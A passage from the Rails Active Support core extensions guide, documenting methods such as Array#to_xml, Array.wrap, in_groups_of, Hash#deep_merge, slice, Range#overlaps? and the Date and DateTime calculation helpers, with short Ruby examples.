By default, the name of the root element is the underscorized and dasherized plural of the name of the class of the first item, provided the rest of elements belong to that type (checked with `is_a?`) and they are not hashes. In the example above that's "contributors".

If there's any element that does not belong to the type of the first one the root node becomes "records":

```
[Contributor.first, Commit.first].to_xml
# =>
# <?xml version="1.0" encoding="UTF-8"?>
# <records type="array">
#   <record>
#     <id type="integer">4583</id>
#     <name>Aaron Batalion</name>
#     <rank type="integer">53</rank>
#     <url-id>aaron-batalion</url-id>
#   </record>
#   <record>
#     <author>Joshua Peek</author>
#     <authored-timestamp type="datetime">2009-09-02T16:44:36Z</authored-timestamp>
#     <branch>origin/master</branch>
#     <committed-timestamp type="datetime">2009-09-02T16:44:36Z</committed-timestamp>
#     <committer>Joshua Peek</committer>
#     <git-show nil="true"></git-show>
#     <id type="integer">190316</id>
#     <imported-from-svn type="boolean">false</imported-from-svn>
#     <message>Kill AMo observing wrap_with_notifications since ARes was only using it</message>
#     <sha1>723a47bfb3708f968821bc969a9a3fc873a3ed58</sha1>
#   </record>
# </records>
```

If the receiver is an array of hashes the root element is by default also "records":

```
[{:a => 1, :b => 2}, {:c => 3}].to_xml
# =>
# <?xml version="1.0" encoding="UTF-8"?>
# <records type="array">
#   <record>
#     <b type="integer">2</b>
#     <a type="integer">1</a>
```

```
#     <a type="integer">1</a>
#   </record>
#   <record>
#     <c type="integer">3</c>
#   </record>
# </records>
```

If the collection is empty the root element is by default “nil-classes”. That’s a gotcha, for example the root element of the list of contributors above would not be “contributors” if the collection was empty, but “nil-classes”. You may use the `:root` option to ensure a consistent root element.

The name of children nodes is by default the name of the root node singularized. In the examples above we’ve seen “contributor” and “record”. The option `:children` allows you to set these node names.

The default XML builder is a fresh instance of `Builder::XmlMarkup`. You can configure your own builder via the `:builder` option. The method also accepts options like `:dasherize` and friends, they are forwarded to the builder:

```
Contributor.limit(2).order(:rank).to_xml(:skip_types => true)
# =>
# <?xml version="1.0" encoding="UTF-8"?>
# <contributors>
#   <contributor>
#     <id>4356</id>
#     <name>Jeremy Kemper</name>
#     <rank>1</rank>
#     <url-id>jeremy-kemper</url-id>
#   </contributor>
#   <contributor>
#     <id>4404</id>
#     <name>David Heinemeier Hansson</name>
#     <rank>2</rank>
#     <url-id>david-heinemeier-hansson</url-id>
#   </contributor>
# </contributors>
```

Defined in `active_support/core_ext/array/conversions.rb`.

11.6 Wrapping

The method `Array.wrap` wraps its argument in an array unless it is already an array (or array-like).

Specifically:

- If the argument is `nil` an empty list is returned.
- Otherwise, if the argument responds to `to_ary` it is invoked, and if the value of `to_ary` is not `nil`, it is returned.
- Otherwise, an array with the argument as its single element is returned.

```
Array.wrap(nil)       # => []
Array.wrap([1, 2, 3]) # => [1, 2, 3]
Array.wrap(0)         # => [0]
```

This method is similar in purpose to `Kernel#Array`, but there are some differences:

- If the argument responds to `to_ary` the method is invoked. `Kernel#Array` moves on to try `to_a` if the returned value is `nil`, but `Array.wrap` returns `nil` right away.
- If the returned value from `to_ary` is neither `nil` nor an `Array` object, `Kernel#Array` raises an exception, while `Array.wrap` does not, it just returns the value.
- It does not call `to_a` on the argument, though special-cases `nil` to return an empty array.

The last point is particularly worth comparing for some enumerables:

```
Array.wrap(:foo => :bar) # => [{:foo => :bar}]
Array(:foo => :bar)      # => [[:foo, :bar]]

Array.wrap("foo\nbar")   # => ["foo\nbar"]
Array("foo\nbar")        # => ["foo\n", "bar"], in Ruby 1.8
```

There’s also a related idiom that uses the splat operator:

```
[*object]
```

which in Ruby 1.8 returns `[nil]` for `nil`, and calls to `Array(object)` otherwise. (Please if you know the exact behavior in 1.9 contact fxn.)

Thus, in this case the behavior is different for `nil`, and the differences with `Kernel#Array` explained above apply to the rest of `objects`.

Defined in `active_support/core_ext/array/wrap.rb`.

11.7 Grouping

11.7.1 `in_groups_of(number, fill_with = nil)`

The method `in_groups_of` splits an array into consecutive groups of a certain size. It returns an array with the groups:

```
[1, 2, 3].in_groups_of(2) # => [[1, 2], [3, nil]]
```

or yields them in turn if a block is passed:

```
<% sample.in_groups_of(3) do |a, b, c| %>
  <tr>
    <td><%=h a %></td>
    <td><%=h b %></td>
    <td><%=h c %></td>
  </tr>
<% end %>
```

The first example shows `in_groups_of` fills the last group with as many `nil` elements as needed to have the requested size. You can change this padding value using the second optional argument:

```
[1, 2, 3].in_groups_of(2, 0) # => [[1, 2], [3, 0]]
```

And you can tell the method not to fill the last group passing `false`:

```
[1, 2, 3].in_groups_of(2, false) # => [[1, 2], [3]]
```

As a consequence `false` can't be a used as a padding value.

Defined in `active_support/core_ext/array/grouping.rb`.

11.7.2 `in_groups(number, fill_with = nil)`

The method `in_groups` splits an array into a certain number of groups. The method returns an array with the groups:

```
%w(1 2 3 4 5 6 7).in_groups(3)
# => [["1", "2", "3"], ["4", "5", nil], ["6", "7", nil]]
```

or yields them in turn if a block is passed:

```
%w(1 2 3 4 5 6 7).in_groups(3) {|group| p group}
["1", "2", "3"]
["4", "5", nil]
["6", "7", nil]
```

The examples above show that `in_groups` fills some groups with a trailing `nil` element as needed. A group can get at most one of these extra elements, the rightmost one if any. And the groups that have them are always the last ones.

You can change this padding value using the second optional argument:

```
%w(1 2 3 4 5 6 7).in_groups(3, "0")
# => [["1", "2", "3"], ["4", "5", "0"], ["6", "7", "0"]]
```

And you can tell the method not to fill the smaller groups passing `false`:

```
%w(1 2 3 4 5 6 7).in_groups(3, false)
# => [["1", "2", "3"], ["4", "5"], ["6", "7"]]
```

As a consequence `false` can't be a used as a padding value.

Defined in `active_support/core_ext/array/grouping.rb`.

11.7.3 `split(value = nil)`

The method `split` divides an array by a separator and returns the resulting chunks.

If a block is passed the separators are those elements of the array for which the block returns true:

```
(-5..5).to_a.split { |i| i.multiple_of?(4) }
# => [[-5], [-3, -2, -1], [1, 2, 3], [5]]
```

Otherwise, the value received as argument, which defaults to `nil`, is the separator:

```
[0, 1, -5, 1, 1, "foo", "bar"].split(1)
# => [[0], [-5], [], ["foo", "bar"]]
```

Observe in the previous example that consecutive separators result in empty arrays.

Defined in `active_support/core_ext/array/grouping.rb`.

12 Extensions to `Hash`

12.1 Conversions

12.1.1 `to_xml`

The method `to_xml` returns a string containing an XML representation of its receiver:

```
{"foo" => 1, "bar" => 2}.to_xml
# =>
# <?xml version="1.0" encoding="UTF-8"?>
# <hash>
#   <foo type="integer">1</foo>
#   <bar type="integer">2</bar>
# </hash>
```

To do so, the method loops over the pairs and builds nodes that depend on the *values*. Given a pair `key`, `value`:

- If `value` is a hash there's a recursive call with `key` as `:root`.
- If `value` is an array there's a recursive call with `key` as `:root`, and `key` singularized as `:children`.
- If `value` is a callable object it must expect one or two arguments. Depending on the arity, the callable is invoked with the `options` hash as first argument with `key` as `:root`, and `key` singularized as second argument. Its return value becomes a new node.
- If `value` responds to `to_xml` the method is invoked with `key` as `:root`.
- Otherwise, a node with `key` as tag is created with a string representation of `value` as text node. If `value` is `nil` an attribute "nil" set to "true" is added. Unless the option `:skip_types` exists and is true, an attribute "type" is added as well according to the following mapping:

```
XML_TYPE_NAMES = {
  "Symbol"     => "symbol",
  "Fixnum"     => "integer",
  "Bignum"     => "integer",
  "BigDecimal" => "decimal",
  "Float"      => "float",
  "TrueClass"  => "boolean",
  "FalseClass" => "boolean",
  "Date"       => "date",
  "DateTime"   => "datetime",
  "Time"       => "datetime"
}
```

By default the root node is "hash", but that's configurable via the `:root` option.

The default XML builder is a fresh instance of `Builder::XmlMarkup`. You can configure your own builder with the `:builder` option. The method also accepts options like `:dasherize` and friends, they are forwarded to the builder.

Defined in `active_support/core_ext/hash/conversions.rb`.

12.2 Merging

Ruby has a built-in method `Hash#merge` that merges two hashes:

```
{:a => 1, :b => 1}.merge(:a => 0, :c => 2)
# => {:a => 0, :b => 1, :c => 2}
```

Active Support defines a few more ways of merging hashes that may be convenient.

12.2.1 `reverse_merge` and `reverse_merge!`

In case of collision the key in the hash of the argument wins in `merge`. You can support option hashes with default values in a compact way with this idiom:

```
options = {:length => 30, :omission => "..."}.merge(options)
```

Active Support defines `reverse_merge` in case you prefer this alternative notation:

```
options = options.reverse_merge(:length => 30, :omission => "...")
```

And a bang version `reverse_merge!` that performs the merge in place:

```
options.reverse_merge!(:length => 30, :omission => "...")
```

Take into account that `reverse_merge!` may change the hash in the caller, which may or may not be a good idea.

Defined in `active_support/core_ext/hash/reverse_merge.rb`.

12.2.2 `reverse_update`

The method `reverse_update` is an alias for `reverse_merge!`, explained above.

Note that `reverse_update` has no bang.

Defined in `active_support/core_ext/hash/reverse_merge.rb`.

12.2.3 `deep_merge` and `deep_merge!`

As you can see in the previous example if a key is found in both hashes the value in the one in the argument wins.

Active Support defines `Hash#deep_merge`. In a deep merge, if a key is found in both hashes and their values are hashes in turn, then their *merge* becomes the value in the resulting hash:

```
{:a => {:b => 1}}.deep_merge(:a => {:c => 2})
# => {:a => {:b => 1, :c => 2}}
```

The method `deep_merge!` performs a deep merge in place.

Defined in `active_support/core_ext/hash/deep_merge.rb`.

12.3 Diffing

The method `diff` returns a hash that represents a diff of the receiver and the argument with the following logic:

- Pairs `key`, `value` that exist in both hashes do not belong to the diff hash.
- If both hashes have `key`, but with different values, the pair in the receiver wins.
- The rest is just merged.

```
{:a => 1}.diff(:a => 1)
# => {}, first rule

{:a => 1}.diff(:a => 2)
# => {:a => 1}, second rule

{:a => 1}.diff(:b => 2)
# => {:a => 1, :b => 2}, third rule

{:a => 1, :b => 2, :c => 3}.diff(:b => 1, :c => 3, :d => 4)
```

```
# => {:a => 1, :b => 2, :d => 4}, all rules

{}.diff({})        # => {}
{:a => 1}.diff({}) # => {:a => 1}
{}.diff(:a => 1)   # => {:a => 1}
```

An important property of this diff hash is that you can retrieve the original hash by applying `diff` twice:

```
hash.diff(hash2).diff(hash2) == hash
```

Diffing hashes may be useful for error messages related to expected option hashes for example.

Defined in `active_support/core_ext/hash/diff.rb`.

12.4 Working with Keys

12.4.1 `except` and `except!`

The method `except` returns a hash with the keys in the argument list removed, if present:

```
{:a => 1, :b => 2}.except(:a) # => {:b => 2}
```

If the receiver responds to `convert_key`, the method is called on each of the arguments. This allows `except` to play nice with hashes with indifferent access for instance:

```
{:a => 1}.with_indifferent_access.except(:a)  # => {}
{:a => 1}.with_indifferent_access.except("a") # => {}
```

The method `except` may come in handy for example when you want to protect some parameter that can't be globally protected with `attr_protected`:

```
params[:account] = params[:account].except(:plan_id) unless admin?
@account.update_attributes(params[:account])
```

There's also the bang variant `except!` that removes keys in the very receiver.

Defined in `active_support/core_ext/hash/except.rb`.

12.4.2 `stringify_keys` and `stringify_keys!`

The method `stringify_keys` returns a hash that has a stringified version of the keys in the receiver. It does so by sending `to_s` to them:

```
{nil => nil, 1 => 1, :a => :a}.stringify_keys
# => {"" => nil, "a" => :a, "1" => 1}
```

The result in case of collision is undefined:

```
{"a" => 1, :a => 2}.stringify_keys
# => {"a" => 2}, in my test, can't rely on this result though
```

This method may be useful for example to easily accept both symbols and strings as options. For instance `ActionView::Helpers::FormHelper` defines:

```
def to_check_box_tag(options = {}, checked_value = "1", unchecked_value = "0")
  options = options.stringify_keys
  options["type"] = "checkbox"
  ...
end
```

The second line can safely access the "type" key, and let the user to pass either `:type` or "type".

There's also the bang variant `stringify_keys!` that stringifies keys in the very receiver.

Defined in `active_support/core_ext/hash/keys.rb`.

12.4.3 `symbolize_keys` and `symbolize_keys!`

The method `symbolize_keys` returns a hash that has a symbolized version of the keys in the receiver, where possible. It does so by sending `to_sym` to them:

```
{nil => nil, 1 => 1, "a" => "a"}.symbolize_keys
# => {1 => 1, nil => nil, :a => "a"}
```

Note in the previous example only one key was symbolized.

The result in case of collision is undefined:

```
{"a" => 1, :a => 2}.symbolize_keys
# => {:a => 2}, in my test, can't rely on this result though
```

This method may be useful for example to easily accept both symbols and strings as options. For instance `ActionController::UrlRewriter` defines

```
def rewrite_path(options)
  options = options.symbolize_keys
  options.update(options[:params].symbolize_keys) if options[:params]
  ...
end
```

The second line can safely access the `:params` key, and let the user to pass either `:params` or "params".

There's also the bang variant `symbolize_keys!` that symbolizes keys in the very receiver.

Defined in `active_support/core_ext/hash/keys.rb`.

12.4.4 `to_options` and `to_options!`

The methods `to_options` and `to_options!` are respectively aliases of `symbolize_keys` and `symbolize_keys!`.

Defined in `active_support/core_ext/hash/keys.rb`.

12.4.5 `assert_valid_keys`

The method `assert_valid_keys` receives an arbitrary number of arguments, and checks whether the receiver has any key outside that white list. If it does `ArgumentError` is raised.

```
{:a => 1}.assert_valid_keys(:a)  # passes
{:a => 1}.assert_valid_keys("a") # ArgumentError
```

Active Record does not accept unknown options when building associations for example. It implements that control via `assert_valid_keys`:

```
mattr_accessor :valid_keys_for_has_many_association
@@valid_keys_for_has_many_association = [
  :class_name, :table_name, :foreign_key, :primary_key,
  :dependent,
  :select, :conditions, :include, :order, :group, :having, :limit, :offset,
  :as, :through, :source, :source_type,
  :uniq,
  :finder_sql, :counter_sql,
  :before_add, :after_add, :before_remove, :after_remove,
  :extend, :readonly,
  :validate, :inverse_of
]

def create_has_many_reflection(association_id, options, &extension)
  options.assert_valid_keys(valid_keys_for_has_many_association)
  ...
end
```

Defined in `active_support/core_ext/hash/keys.rb`.

12.5 Slicing

Ruby has built-in support for taking slices out of strings and arrays. Active Support extends slicing to hashes:

```
{:a => 1, :b => 2, :c => 3}.slice(:a, :c)
# => {:c => 3, :a => 1}

{:a => 1, :b => 2, :c => 3}.slice(:b, :X)
```

```
{:a => 1, :b => 2, :c => 3}.slice(:b, :x)
# => {:b => 2} # non-existing keys are ignored
```

If the receiver responds to `convert_key` keys are normalized:

```
{:a => 1, :b => 2}.with_indifferent_access.slice("a")
# => {:a => 1}
```

Slicing may come in handy for sanitizing option hashes with a white list of keys.

There's also `slice!` which in addition to perform a slice in place returns what's removed:

```
hash = {:a => 1, :b => 2}
rest = hash.slice!(:a) # => {:b => 2}
hash                   # => {:a => 1}
```

Defined in `active_support/core_ext/hash/slice.rb`.

12.6 Extracting

The method `extract!` removes and returns the key/value pairs matching the given keys.

```
hash = {:a => 1, :b => 2}
rest = hash.extract!(:a) # => {:a => 1}
hash                     # => {:b => 2}
```

Defined in `active_support/core_ext/hash/slice.rb`.

12.7 Indifferent Access

The method `with_indifferent_access` returns an `ActiveSupport::HashWithIndifferentAccess` out of its receiver:

```
{:a => 1}.with_indifferent_access["a"] # => 1
```

Defined in `active_support/core_ext/hash/indifferent_access.rb`.

13 Extensions to `Regexp`

13.1 `multiline?`

The method `multiline?` says whether a regexp has the `/m` flag set, that is, whether the dot matches newlines.

```
%r{.}.multiline?  # => false
%r{.}m.multiline? # => true

Regexp.new('.').multiline?                    # => false
Regexp.new('.', Regexp::MULTILINE).multiline? # => true
```

Rails uses this method in a single place, also in the routing code. Multiline regexps are disallowed for route requirements and this flag eases enforcing that constraint.

```
def assign_route_options(segments, defaults, requirements)
  ...
  if requirement.multiline?
    raise ArgumentError, "Regexp multiline option not allowed in routing requirements: #{requirement.inspect}"
  end
  ...
end
```

Defined in `active_support/core_ext/regexp.rb`.

14 Extensions to `Range`

14.1 `to_s`

Active Support extends the method `Range#to_s` so that it understands an optional format argument. As of this writing the only supported non-default format is `:db`:

```
(Date.today..Date.tomorrow).to_s
# => "2009-10-25..2009-10-26"
```

```
(Date.today..Date.tomorrow).to_s(:db)
# => "BETWEEN '2009-10-25' AND '2009-10-26'"
```

As the example depicts, the `:db` format generates a `BETWEEN` SQL clause. That is used by Active Record in its support for range values in conditions.

Defined in `active_support/core_ext/range/conversions.rb`.

14.2 `step`

Active Support extends the method `Range#step` so that it can be invoked without a block:

```
(1..10).step(2) # => [1, 3, 5, 7, 9]
```

As the example shows, in that case the method returns an array with the corresponding elements.

Defined in `active_support/core_ext/range/blockless_step.rb`.

14.3 `include?`

The method `Range#include?` says whether some value falls between the ends of a given instance:

```
(2..3).include?(Math::E) # => true
```

Active Support extends this method so that the argument may be another range in turn. In that case we test whether the ends of the argument range belong to the receiver themselves:

```
(1..10).include?(3..7)  # => true
(1..10).include?(0..7)  # => false
(1..10).include?(3..11) # => false
(1...9).include?(3..9)  # => false
```

The original `Range#include?` is still the one aliased to `Range#===`.

Defined in `active_support/core_ext/range/include_range.rb`.

14.4 `cover?`

Ruby 1.9 provides `cover?`, and Active Support defines it for previous versions as an alias for `include?`.

The method `include?` in Ruby 1.9 is different from the one in 1.8 for non-numeric ranges: instead of being based on comparisons between the value and the range's endpoints, it walks the range with `succ` looking for value. This works better for ranges with holes, but it has different complexity and may not finish in some other cases.

In Ruby 1.9 the old behavior is still available in the new `cover?`, which Active Support backports for forward compatibility. For example, Rails uses `cover?` for ranges in `validates_inclusion_of`.

14.5 `overlaps?`

The method `Range#overlaps?` says whether any two given ranges have non-void intersection:

```
(1..10).overlaps?(7..11)  # => true
(1..10).overlaps?(0..7)   # => true
(1..10).overlaps?(11..27) # => false
```

Defined in `active_support/core_ext/range/overlaps.rb`.

15 Extensions to `Proc`

15.1 `bind`

As you surely know Ruby has an `UnboundMethod` class whose instances are methods that belong to the limbo of methods without a self. The method `Module#instance_method` returns an unbound method for example:

```
Hash.instance_method(:delete) # => #<UnboundMethod: Hash#delete>
```

An unbound method is not callable as is, you need to bind it first to an object with `bind`:

```
clear = Hash.instance_method(:clear)
```

```
clear = Hash.instance_method(:clear)
clear.bind({:a => 1}).call # => {}
```

Active Support defines `Proc#bind` with an analogous purpose:

```
Proc.new { size }.bind([]).call # => 0
```

As you see that's callable and bound to the argument, the return value is indeed a `Method`.

To do so `Proc#bind` actually creates a method under the hood. If you ever see a method with a weird name like `__bind_1256598120_237302` in a stack trace you know now where it comes from.

Action Pack uses this trick in `rescue_from` for example, which accepts the name of a method and also a proc as callbacks for a given rescued exception. It has to call them in either case, so a bound method is returned by `handler_for_rescue`, thus simplifying the code in the caller:

```
def handler_for_rescue(exception)
  _, rescuer = Array(rescue_handlers).reverse.detect do |klass_name, handler|
    ...
  end

  case rescuer
  when Symbol
    method(rescuer)
  when Proc
    rescuer.bind(self)
  end
end
```

Defined in `active_support/core_ext/proc.rb`.

16 Extensions to `Date`

16.1 Calculations

All the following methods are defined in `active_support/core_ext/date/calculations.rb`.

The following calculation methods have edge cases in October 1582, since days 5..14 just do not exist. This guide does not document their behavior around those days for brevity, but it is enough to say that they do what you would expect. That is, `Date.new(1582, 10, 4).tomorrow` returns `Date.new(1582, 10, 15)` and so on. Please check `test/core_ext/date_ext_test.rb` in the Active Support test suite for expected behavior.

16.1.1 `Date.current`

Active Support defines `Date.current` to be today in the current time zone. That's like `Date.today`, except that it honors the user time zone, if defined. It also defines `Date.yesterday` and `Date.tomorrow`, and the instance predicates `past?`, `today?`, and `future?`, all of them relative to `Date.current`.

When making Date comparisons using methods which honor the user time zone, make sure to use `Date.current` and not `Date.today`. There are cases where the user time zone might be in the future compared to the system time zone, which `Date.today` uses by default. This means `Date.today` may equal `Date.yesterday`.

16.1.2 Named dates

16.1.2.1 `prev_year`, `next_year`

In Ruby 1.9 `prev_year` and `next_year` return a date with the same day/month in the last or next year:

```
d = Date.new(2010, 5, 8) # => Sat, 08 May 2010
d.prev_year              # => Fri, 08 May 2009
d.next_year              # => Sun, 08 May 2011
```

If date is the 29th of February of a leap year, you obtain the 28th:

```
d = Date.new(2000, 2, 29) # => Tue, 29 Feb 2000
d.prev_year               # => Sun, 28 Feb 1999
d.next_year               # => Wed, 28 Feb 2001
```

Active Support defines these methods as well for Ruby 1.8.

16.1.2.2 prev_month, next_month

In Ruby 1.9 `prev_month` and `next_month` return the date with the same day in the last or next month:

```
d = Date.new(2010, 5, 8) # => Sat, 08 May 2010
d.prev_month             # => Thu, 08 Apr 2010
d.next_month             # => Tue, 08 Jun 2010
```

If such a day does not exist, the last day of the corresponding month is returned:

```
Date.new(2000, 5, 31).prev_month # => Sun, 30 Apr 2000
Date.new(2000, 3, 31).prev_month # => Tue, 29 Feb 2000
Date.new(2000, 5, 31).next_month # => Fri, 30 Jun 2000
Date.new(2000, 1, 31).next_month # => Tue, 29 Feb 2000
```

Active Support defines these methods as well for Ruby 1.8.

16.1.2.3 beginning_of_week, end_of_week

The methods `beginning_of_week` and `end_of_week` return the dates for the beginning and end of the week, respectively. Weeks are assumed to start on Monday, but that can be changed passing an argument.

```
d = Date.new(2010, 5, 8)     # => Sat, 08 May 2010
d.beginning_of_week          # => Mon, 03 May 2010
d.beginning_of_week(:sunday) # => Sun, 02 May 2010
d.end_of_week                # => Sun, 09 May 2010
d.end_of_week(:sunday)       # => Sat, 08 May 2010
```

`beginning_of_week` is aliased to `at_beginning_of_week` and `end_of_week` is aliased to `at_end_of_week`.

16.1.2.4 monday, sunday

The methods `monday` and `sunday` return the dates for the beginning and end of the week, respectively. Weeks are assumed to start on Monday.

```
d = Date.new(2010, 5, 8)     # => Sat, 08 May 2010
d.monday                     # => Mon, 03 May 2010
d.sunday                     # => Sun, 09 May 2010
```

16.1.2.5 prev_week, next_week

The method `next_week` receives a symbol with a day name in English (in lowercase, default is `:monday`) and it returns the date corresponding to that day:

```
d = Date.new(2010, 5, 9) # => Sun, 09 May 2010
d.next_week              # => Mon, 10 May 2010
d.next_week(:saturday)   # => Sat, 15 May 2010
```

The method `prev_week` is analogous:

```
d.prev_week              # => Mon, 26 Apr 2010
d.prev_week(:saturday)   # => Sat, 01 May 2010
d.prev_week(:friday)     # => Fri, 30 Apr 2010
```

16.1.2.6 beginning_of_month, end_of_month

The methods `beginning_of_month` and `end_of_month` return the dates for the beginning and end of the month:

```
d = Date.new(2010, 5, 9) # => Sun, 09 May 2010
d.beginning_of_month     # => Sat, 01 May 2010
d.end_of_month           # => Mon, 31 May 2010
```

`beginning_of_month` is aliased to `at_beginning_of_month`, and `end_of_month` is aliased to `at_end_of_month`.

16.1.2.7 beginning_of_quarter, end_of_quarter

The methods `beginning_of_quarter` and `end_of_quarter` return the dates for the beginning and end of the quarter of the receiver's calendar year:

```
d = Date.new(2010, 5, 9) # => Sun, 09 May 2010
d.beginning_of_quarter   # => Thu, 01 Apr 2010
d.end_of_quarter         # => Wed, 30 Jun 2010
```

`beginning_of_quarter` is aliased to `at_beginning_of_quarter`, and `end_of_quarter` is aliased to `at_end_of_quarter`.

16.1.2.8 `beginning_of_year`, `end_of_year`

The methods `beginning_of_year` and `end_of_year` return the dates for the beginning and end of the year:

```
d = Date.new(2010, 5, 9) # => Sun, 09 May 2010
d.beginning_of_year      # => Fri, 01 Jan 2010
d.end_of_year            # => Fri, 31 Dec 2010
```

`beginning_of_year` is aliased to `at_beginning_of_year`, and `end_of_year` is aliased to `at_end_of_year`.

16.1.3 Other Date Computations

16.1.3.1 `years_ago`, `years_since`

The method `years_ago` receives a number of years and returns the same date those many years ago:

```
date = Date.new(2010, 6, 7)
date.years_ago(10) # => Wed, 07 Jun 2000
```

`years_since` moves forward in time:

```
date = Date.new(2010, 6, 7)
date.years_since(10) # => Sun, 07 Jun 2020
```

If such a day does not exist, the last day of the corresponding month is returned:

```
Date.new(2012, 2, 29).years_ago(3)     # => Sat, 28 Feb 2009
Date.new(2012, 2, 29).years_since(3)   # => Sat, 28 Feb 2015
```

16.1.3.2 `months_ago`, `months_since`

The methods `months_ago` and `months_since` work analogously for months:

```
Date.new(2010, 4, 30).months_ago(2)   # => Sun, 28 Feb 2010
Date.new(2010, 4, 30).months_since(2) # => Wed, 30 Jun 2010
```

If such a day does not exist, the last day of the corresponding month is returned:

```
Date.new(2010, 4, 30).months_ago(2)    # => Sun, 28 Feb 2010
Date.new(2009, 12, 31).months_since(2) # => Sun, 28 Feb 2010
```

16.1.3.3 `weeks_ago`

The method `weeks_ago` works analogously for weeks:

```
Date.new(2010, 5, 24).weeks_ago(1)    # => Mon, 17 May 2010
Date.new(2010, 5, 24).weeks_ago(2)    # => Mon, 10 May 2010
```

16.1.3.4 `advance`

The most generic way to jump to other days is `advance`. This method receives a hash with keys `:years`, `:months`, `:weeks`, `:days`, and returns a date advanced as much as the present keys indicate:

```
date = Date.new(2010, 6, 6)
date.advance(:years => 1, :weeks => 2)  # => Mon, 20 Jun 2011
date.advance(:months => 2, :days => -2) # => Wed, 04 Aug 2010
```

Note in the previous example that increments may be negative.

To perform the computation the method first increments years, then months, then weeks, and finally days. This order is important towards the end of months. Say for example we are at the end of February of 2010, and we want to move one month and one day forward.

The method advance advances first one month, and then one day, the result is:

```
Date.new(2010, 2, 28).advance(:months => 1, :days => 1)
# => Sun, 29 Mar 2010
```

While if it did it the other way around the result would be different:

```
Date.new(2010, 2, 28).advance(:days => 1).advance(:months => 1)
# => Thu, 01 Apr 2010
```

16.1.4 Changing Components

The method change allows you to get a new date which is the same as the receiver except for the given year, month, or day:

```
Date.new(2010, 12, 23).change(:year => 2011, :month => 11)
# => Wed, 23 Nov 2011
```

This method is not tolerant to non-existing dates, if the change is invalid ArgumentError is raised:

```
Date.new(2010, 1, 31).change(:month => 2)
# => ArgumentError: invalid date
```

16.1.5 Durations

Durations can be added to and subtracted from dates:

```
d = Date.current
# => Mon, 09 Aug 2010
d + 1.year
# => Tue, 09 Aug 2011
d - 3.hours
# => Sun, 08 Aug 2010 21:00:00 UTC +00:00
```

They translate to calls to since or advance. For example here we get the correct jump in the calendar reform:

```
Date.new(1582, 10, 4) + 1.day
# => Fri, 15 Oct 1582
```

16.1.6 Timestamps

The following methods return a Time object if possible, otherwise a DateTime. If set, they honor the user time zone.

16.1.6.1 beginning_of_day, end_of_day

The method beginning_of_day returns a timestamp at the beginning of the day (00:00:00):

```
date = Date.new(2010, 6, 7)
date.beginning_of_day # => Sun Jun 07 00:00:00 +0200 2010
```

The method end_of_day returns a timestamp at the end of the day (23:59:59):

```
date = Date.new(2010, 6, 7)
date.end_of_day # => Sun Jun 06 23:59:59 +0200 2010
```

beginning_of_day is aliased to at_beginning_of_day, midnight, at_midnight.

16.1.6.2 ago, since

The method ago receives a number of seconds as argument and returns a timestamp those many seconds ago from midnight:

```
date = Date.current # => Fri, 11 Jun 2010
date.ago(1)         # => Thu, 10 Jun 2010 23:59:59 EDT -04:00
```

Similarly, since moves forward:

```
date = Date.current # => Fri, 11 Jun 2010
date.since(1)       # => Fri, 11 Jun 2010 00:00:01 EDT -04:00
```

16.1.7 Other Time Computations

16.2 Conversions

17 Extensions to `DateTime`

`DateTime` is not aware of DST rules and so some of these methods have edge cases when a DST change is going on. For example `seconds_since_midnight` might not return the real amount in such a day.

17.1 Calculations

All the following methods are defined in `active_support/core_ext/date_time/calculations.rb`.

The class `DateTime` is a subclass of `Date` so by loading `active_support/core_ext/date/calculations.rb` you inherit these methods and their aliases, except that they will always return datetimes:

```
yesterday
tomorrow
beginning_of_week (at_beginning_of_week)
end_of_week (at_end_of_week)
monday
sunday
weeks_ago
prev_week
next_week
months_ago
months_since
beginning_of_month (at_beginning_of_month)
end_of_month (at_end_of_month)
prev_month
next_month
beginning_of_quarter (at_beginning_of_quarter)
end_of_quarter (at_end_of_quarter)
beginning_of_year (at_beginning_of_year)
end_of_year (at_end_of_year)
years_ago
years_since
prev_year
next_year
```

The following methods are reimplemented so you do **not** need to load `active_support/core_ext/date/calculations.rb` for these ones:

```
beginning_of_day (midnight, at_midnight, at_beginning_of_day)
end_of_day
ago
since (in)
```

On the other hand, `advance` and `change` are also defined and support more options, they are documented below.

17.1.1 Named Datetimes

17.1.1.1 `DateTime.current`

Active Support defines `DateTime.current` to be like `Time.now.to_datetime`, except that it honors the user time zone, if defined. It also defines `DateTime.yesterday` and `DateTime.tomorrow`, and the instance predicates `past?`, and `future?` relative to `DateTime.current`.

17.1.2 Other Extensions

17.1.2.1 `seconds_since_midnight`

The method `seconds_since_midnight` returns the number of seconds since midnight:

```
now = DateTime.current     # => Mon, 07 Jun 2010 20:26:36 +0000
now.seconds_since_midnight # => 73596
```

17.1.2.2 `utc`

The method utc gives you the same datetime in the receiver expressed in UTC.

```
now = DateTime.current # => Mon, 07 Jun 2010 19:27:52 -0400
now.utc                # => Mon, 07 Jun 2010 23:27:52 +0000
```

This method is also aliased as getutc.

17.1.2.3 utc?

The predicate utc? says whether the receiver has UTC as its time zone:

```
now = DateTime.now # => Mon, 07 Jun 2010 19:30:47 -0400
now.utc?           # => false
now.utc.utc?       # => true
```

17.1.2.4 advance

The most generic way to jump to another datetime is advance. This method receives a hash with keys :years, :months, :weeks, :days, :hours, :minutes, and :seconds, and returns a datetime advanced as much as the present keys indicate.

```
d = DateTime.current
# => Thu, 05 Aug 2010 11:33:31 +0000
d.advance(:years => 1, :months => 1, :days => 1, :hours => 1, :minutes => 1, :seconds => 1)
# => Tue, 06 Sep 2011 12:34:32 +0000
```

This method first computes the destination date passing :years, :months, :weeks, and :days to Date#advance documented above. After that, it adjusts the time calling since with the number of seconds to advance. This order is relevant, a different ordering would give different datetimes in some edge-cases. The example in Date#advance applies, and we can extend it to show order relevance related to the time bits.

If we first move the date bits (that have also a relative order of processing, as documented before), and then the time bits we get for example the following computation:

```
d = DateTime.new(2010, 2, 28, 23, 59, 59)
# => Sun, 28 Feb 2010 23:59:59 +0000
d.advance(:months => 1, :seconds => 1)
# => Mon, 29 Mar 2010 00:00:00 +0000
```

but if we computed them the other way around, the result would be different:

```
d.advance(:seconds => 1).advance(:months => 1)
# => Thu, 01 Apr 2010 00:00:00 +0000
```

Since DateTime is not DST-aware you can end up in a non-existing point in time with no warning or error telling you so.

17.1.3 Changing Components

The method change allows you to get a new datetime which is the same as the receiver except for the given options, which may include :year, :month, :day, :hour, :min, :sec, :offset, :start:

```
now = DateTime.current
# => Tue, 08 Jun 2010 01:56:22 +0000
now.change(:year => 2011, :offset => Rational(-6, 24))
# => Wed, 08 Jun 2011 01:56:22 -0600
```

If hours are zeroed, then minutes and seconds are too (unless they have given values):

```
now.change(:hour => 0)
